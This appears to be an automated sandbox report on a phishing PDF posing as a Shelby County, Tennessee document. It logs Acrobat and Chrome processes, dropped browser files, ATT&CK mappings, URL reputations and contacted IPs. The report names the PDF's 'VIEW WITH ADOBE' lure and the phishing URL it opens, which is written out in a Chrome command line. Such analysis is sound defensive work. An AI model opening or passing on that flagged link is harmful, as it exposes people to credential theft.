Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\ssl_error_assistant.pbJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\manifest.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\_metadata\Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\_metadata\verified_contents.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\manifest.fingerprintJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\download_file_types.pbJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\manifest.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\_metadata\Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\_metadata\verified_contents.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_2060455088\manifest.fingerprintJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile deleted: C:\Windows\SystemTemp\chrome_BITS_4828_938150558Jump to behavior
Source: Google.Widevine.CDM.dll.9.drStatic PE information: Number of sections : 12 > 10
Source: widevinecdm.dll.9.drStatic PE information: Number of sections : 13 > 10
Source: classification engineClassification label: mal48.phis.winPDF@52/95@0/12
Source: shelbycountytn.gov.pdfInitial sample: https://PJD.ctorombet.com/enRUG/
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeFile created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journalJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeFile created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-08 18-01-34-027.logJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Source: unknownProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\shelbycountytn.gov.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1680,i,4515409880386373091,12119218796225078129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://PJD.ctorombet.com/enRUG/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,6538390649141663925,14644674923314258461,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1680,i,4515409880386373091,12119218796225078129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,6538390649141663925,14644674923314258461,262144 /prefetch:8Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.9.dr
Source: Binary string: C:\b\s\w\ir\x\w\rc\cdm\protected\out\Release\widevinecdm.dll.pdb source: widevinecdm.dll.9.dr
Source: shelbycountytn.gov.pdfInitial sample: PDF keyword /JS count = 0
Source: shelbycountytn.gov.pdfInitial sample: PDF keyword /JavaScript count = 0
Source: shelbycountytn.gov.pdfInitial sample: PDF keyword /EmbeddedFile count = 0
Source: Google.Widevine.CDM.dll.9.drStatic PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.9.drStatic PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.9.drStatic PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.9.drStatic PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.9.drStatic PE information: section name: _RDATA
Source: widevinecdm.dll.9.drStatic PE information: section name: .00cfg
Source: widevinecdm.dll.9.drStatic PE information: section name: .gxfg
Source: widevinecdm.dll.9.drStatic PE information: section name: .retplne
Source: widevinecdm.dll.9.drStatic PE information: section name: .rodata
Source: widevinecdm.dll.9.drStatic PE information: section name: _RDATA
Source: widevinecdm.dll.9.drStatic PE information: section name: malloc_h

Persistence and Installation Behavior

barindex
AI detected landing page (webpage, office document or email)
Source: PDF documentLLM: Page contains button: 'VIEW WITH ADOBE' Source: 'PDF document'
Source: PDF documentLLM: PDF document contains prominent button: 'view with adobe'
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dllJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\Google.Widevine.CDM.dllJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dllJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\Google.Widevine.CDM.dllJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1887124166\LICENSE.txtJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire Infrastructure1
Spearphishing Link		Windows Management Instrumentation1
Browser Extensions		1
Process Injection		21
Masquerading		OS Credential Dumping1
System Information Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Process Injection		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
File Deletion		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1529401 Sample: shelbycountytn.gov.pdf Startdate: 09/10/2024 Architecture: WINDOWS Score: 48 37 Phishing site detected (based on shot match) 2->37 39 AI detected landing page (webpage, office document or email) 2->39 7 chrome.exe 48 2->7         started        11 Acrobat.exe 20 73 2->11         started        process3 dnsIp4 27 192.168.2.5 unknown unknown 7->27 29 239.255.255.250 unknown Reserved 7->29 21 C:\Windows\SystemTemp\...\widevinecdm.dll, PE32+ 7->21 dropped 23 C:\Windows\...behaviorgraphoogle.Widevine.CDM.dll, PE32+ 7->23 dropped 13 chrome.exe 7->13         started        16 AcroCEF.exe 108 11->16         started        file5 process6 dnsIp7 31 142.250.74.196 GOOGLEUS United States 13->31 33 35.190.80.1 GOOGLEUS United States 13->33 35 7 other IPs or domains 13->35 18 AcroCEF.exe 2 16->18         started        process8 dnsIp9 25 96.16.24.189 AKAMAI-ASUS United States 18->25

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

SourceDetectionScannerLabelLink
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\Google.Widevine.CDM.dll0%ReversingLabs
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dll0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://wieistmeineip.de0%URL Reputationsafe
https://mercadoshops.com.co0%URL Reputationsafe
https://gliadomain.com0%URL Reputationsafe
https://poalim.xyz0%URL Reputationsafe
https://mercadolivre.com0%URL Reputationsafe
https://reshim.org0%URL Reputationsafe
https://nourishingpursuits.com0%URL Reputationsafe
https://medonet.pl0%URL Reputationsafe
https://unotv.com0%URL Reputationsafe
https://mercadoshops.com.br0%URL Reputationsafe
https://zdrowietvn.pl0%URL Reputationsafe
https://johndeere.com0%URL Reputationsafe
https://songstats.com0%URL Reputationsafe
https://baomoi.com0%URL Reputationsafe
https://supereva.it0%URL Reputationsafe
https://elfinancierocr.com0%URL Reputationsafe
https://bolasport.com0%URL Reputationsafe
https://rws1nvtvt.com0%URL Reputationsafe
https://desimartini.com0%URL Reputationsafe
https://hearty.app0%URL Reputationsafe
https://hearty.gift0%URL Reputationsafe
https://mercadoshops.com0%URL Reputationsafe
https://heartymail.com0%URL Reputationsafe
https://p106.net0%URL Reputationsafe
https://radio2.be0%URL Reputationsafe
https://finn.no0%URL Reputationsafe
https://hc1.com0%URL Reputationsafe
https://kompas.tv0%URL Reputationsafe
https://mystudentdashboard.com0%URL Reputationsafe
https://songshare.com0%URL Reputationsafe
https://smaker.pl0%URL Reputationsafe
https://mercadopago.com.mx0%URL Reputationsafe
https://p24.hu0%URL Reputationsafe
https://talkdeskqaid.com0%URL Reputationsafe
https://mercadopago.com.pe0%URL Reputationsafe
https://cardsayings.net0%URL Reputationsafe
https://mightytext.net0%URL Reputationsafe
https://pudelek.pl0%URL Reputationsafe
https://hazipatika.com0%URL Reputationsafe
https://joyreactor.com0%URL Reputationsafe
https://cookreactor.com0%URL Reputationsafe
https://wildixin.com0%URL Reputationsafe
https://eworkbookcloud.com0%URL Reputationsafe
https://cognitiveai.ru0%URL Reputationsafe
https://nacion.com0%URL Reputationsafe
https://chennien.com0%URL Reputationsafe
https://drimer.travel0%URL Reputationsafe
https://deccoria.pl0%URL Reputationsafe
https://mercadopago.cl0%URL Reputationsafe
https://talkdeskstgid.com0%URL Reputationsafe
https://bonvivir.com0%URL Reputationsafe
https://carcostadvisor.be0%URL Reputationsafe
https://salemovetravel.com0%URL Reputationsafe
https://sapo.io0%URL Reputationsafe
https://wpext.pl0%URL Reputationsafe
https://welt.de0%URL Reputationsafe
https://poalim.site0%URL Reputationsafe
https://drimer.io0%URL Reputationsafe
https://infoedgeindia.com0%URL Reputationsafe
https://blackrockadvisorelite.it0%URL Reputationsafe
https://cognitive-ai.ru0%URL Reputationsafe
https://cafemedia.com0%URL Reputationsafe
https://graziadaily.co.uk0%URL Reputationsafe
https://thirdspace.org.au0%URL Reputationsafe
https://mercadoshops.com.ar0%URL Reputationsafe
https://smpn106jkt.sch.id0%URL Reputationsafe
https://elpais.uy0%URL Reputationsafe
https://landyrev.com0%URL Reputationsafe
https://the42.ie0%URL Reputationsafe
https://commentcamarche.com0%URL Reputationsafe
https://tucarro.com.ve0%URL Reputationsafe
https://rws3nvtvt.com0%URL Reputationsafe
https://eleconomista.net0%URL Reputationsafe
https://mercadolivre.com.br0%URL Reputationsafe
https://clmbtech.com0%URL Reputationsafe
https://standardsandpraiserepurpose.com0%URL Reputationsafe
https://salemovefinancial.com0%URL Reputationsafe
https://mercadopago.com.br0%URL Reputationsafe
https://commentcamarche.net0%URL Reputationsafe
https://etfacademy.it0%URL Reputationsafe
https://mighty-app.appspot.com0%URL Reputationsafe
https://hj.rs0%URL Reputationsafe
https://hearty.me0%URL Reputationsafe
https://mercadolibre.com.gt0%URL Reputationsafe
https://timesinternet.in0%URL Reputationsafe
https://indiatodayne.in0%URL Reputationsafe
https://idbs-staging.com0%URL Reputationsafe
https://blackrock.com0%URL Reputationsafe
https://idbs-eworkbook.com0%URL Reputationsafe
https://motherandbaby.com0%URL Reputationsafe
https://mercadolibre.co.cr0%URL Reputationsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://wieistmeineip.desets.json.9.drfalse
  • URL Reputation: safe
unknown
https://mercadoshops.com.cosets.json.9.drfalse
  • URL Reputation: safe
unknown
https://gliadomain.comsets.json.9.drfalse
  • URL Reputation: safe
unknown
https://poalim.xyzsets.json.9.drfalse
  • URL Reputation: safe
unknown
https://mercadolivre.comsets.json.9.drfalse
  • URL Reputation: safe
unknown
https://easylist.to/)LICENSE.txt.9.drfalse
    		unknown
    https://reshim.orgsets.json.9.drfalse
    • URL Reputation: safe
    		unknown
    https://nourishingpursuits.comsets.json.9.drfalse
    • URL Reputation: safe
    		unknown
    https://medonet.plsets.json.9.drfalse
    • URL Reputation: safe
    		unknown
    https://unotv.comsets.json.9.drfalse
    • URL Reputation: safe
    		unknown
    https://mercadoshops.com.brsets.json.9.drfalse
    • URL Reputation: safe
    		unknown
    https://joyreactor.ccsets.json.9.drfalse
      		unknown
      https://zdrowietvn.plsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://johndeere.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://songstats.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://baomoi.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://supereva.itsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://elfinancierocr.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://bolasport.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://rws1nvtvt.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://desimartini.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://hearty.appsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://hearty.giftsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://mercadoshops.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://heartymail.comsets.json.9.drfalse
      • URL Reputation: safe
      		unknown
      https://nlc.husets.json.9.drfalse
        		unknown
        https://p106.netsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://radio2.besets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://finn.nosets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://hc1.comsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://kompas.tvsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://mystudentdashboard.comsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://songshare.comsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://smaker.plsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://mercadopago.com.mxsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://p24.husets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://talkdeskqaid.comsets.json.9.drfalse
        • URL Reputation: safe
        		unknown
        https://24.husets.json.9.drfalse
          		unknown
          https://mercadopago.com.pesets.json.9.drfalse
          • URL Reputation: safe
          		unknown
          https://cardsayings.netsets.json.9.drfalse
          • URL Reputation: safe
          		unknown
          https://text.comsets.json.9.drfalse
            		unknown
            https://mightytext.netsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://pudelek.plsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://hazipatika.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://joyreactor.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://cookreactor.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://wildixin.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://eworkbookcloud.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://cognitiveai.rusets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://nacion.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://chennien.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://drimer.travelsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://deccoria.plsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://mercadopago.clsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://talkdeskstgid.comsets.json.9.drfalse
            • URL Reputation: safe
            		unknown
            https://naukri.comsets.json.9.drfalse
              		unknown
              https://interia.plsets.json.9.drfalse
                		unknown
                https://bonvivir.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://carcostadvisor.besets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://salemovetravel.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://sapo.iosets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://wpext.plsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://welt.desets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://poalim.sitesets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://drimer.iosets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://infoedgeindia.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://blackrockadvisorelite.itsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://cognitive-ai.rusets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://cafemedia.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://graziadaily.co.uksets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://thirdspace.org.ausets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://mercadoshops.com.arsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://smpn106jkt.sch.idsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://elpais.uysets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://landyrev.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://the42.iesets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://commentcamarche.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://tucarro.com.vesets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://rws3nvtvt.comsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://eleconomista.netsets.json.9.drfalse
                • URL Reputation: safe
                		unknown
                https://helpdesk.comsets.json.9.drfalse
                  		unknown
                  https://mercadolivre.com.brsets.json.9.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://clmbtech.comsets.json.9.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://standardsandpraiserepurpose.comsets.json.9.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://07c225f3.onlinesets.json.9.drfalse
                    		unknown
                    https://salemovefinancial.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://mercadopago.com.brsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://commentcamarche.netsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://etfacademy.itsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://mighty-app.appspot.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://hj.rssets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://hearty.mesets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://mercadolibre.com.gtsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://timesinternet.insets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://indiatodayne.insets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://idbs-staging.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://blackrock.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://idbs-eworkbook.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://motherandbaby.comsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://mercadolibre.co.crsets.json.9.drfalse
                    • URL Reputation: safe
                    		unknown

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    104.18.94.41
                    		unknownUnited States
                    		13335CLOUDFLARENETUSfalse
                    151.101.194.137
                    		unknownUnited States
                    		54113FASTLYUSfalse
                    35.190.80.1
                    		unknownUnited States
                    		15169GOOGLEUSfalse
                    142.250.74.196
                    		unknownUnited States
                    		15169GOOGLEUSfalse
